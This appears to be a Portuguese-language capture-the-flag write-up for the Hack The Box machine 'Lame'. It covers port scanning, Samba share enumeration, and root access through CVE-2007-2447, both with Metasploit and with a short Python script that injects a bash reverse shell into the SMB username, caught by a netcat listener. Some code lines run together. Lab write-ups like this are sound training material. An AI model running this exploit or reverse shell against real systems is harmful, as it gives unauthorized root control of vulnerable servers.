TL;DR
Máquina clássica do HTB. Samba 3.0.20 com CVE-2007-2447 (usermap_script) dá shell como root diretamente.
Reconhecimento
1
2
3
4
5
6
$ nmap -sC -sV -oN nmap/lame.txt 10.10.10.3
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
O vsftpd 2.3.4 também tem backdoor (CVE-2011-2523), mas o Samba dá root direto.
Enumeração Samba
1
2
3
4
5
6
7
8
$ smbclient -L //10.10.10.3 -N
Sharename Type Comment
-------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service
ADMIN$ IPC IPC Service
Exploração — CVE-2007-2447
O Samba 3.0.20 tem uma vulnerabilidade no parâmetro username do MS-RPC que permite injeção de comandos shell.
Via Metasploit
1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(usermap_script) > set LHOST tun0
msf6 exploit(usermap_script) > set LPORT 4444msf6 exploit(usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.X:4444
[*] Command shell session 1 opened
# whoamiroot
Manual (sem Metasploit)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3# CVE-2007-2447 — Samba usermap_script RCEfrom smb.SMBConnection import SMBConnection
import sys
LHOST ="10.10.14.X"LPORT =4444TARGET ="10.10.10.3"# Payload injetado no username via logon SMBpayload =f"/=`nohup bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'`"conn = SMBConnection(payload, "", "", "", use_ntlm_v2=False)
try:
conn.connect(TARGET, 445, timeout=5)
except:
pass# A conexão vai cair, mas o payload já executou
Em outro terminal:
1
2
3
4
$ nc -lvnp 4444Connection from 10.10.10.3
# iduid=0(root) gid=0(root)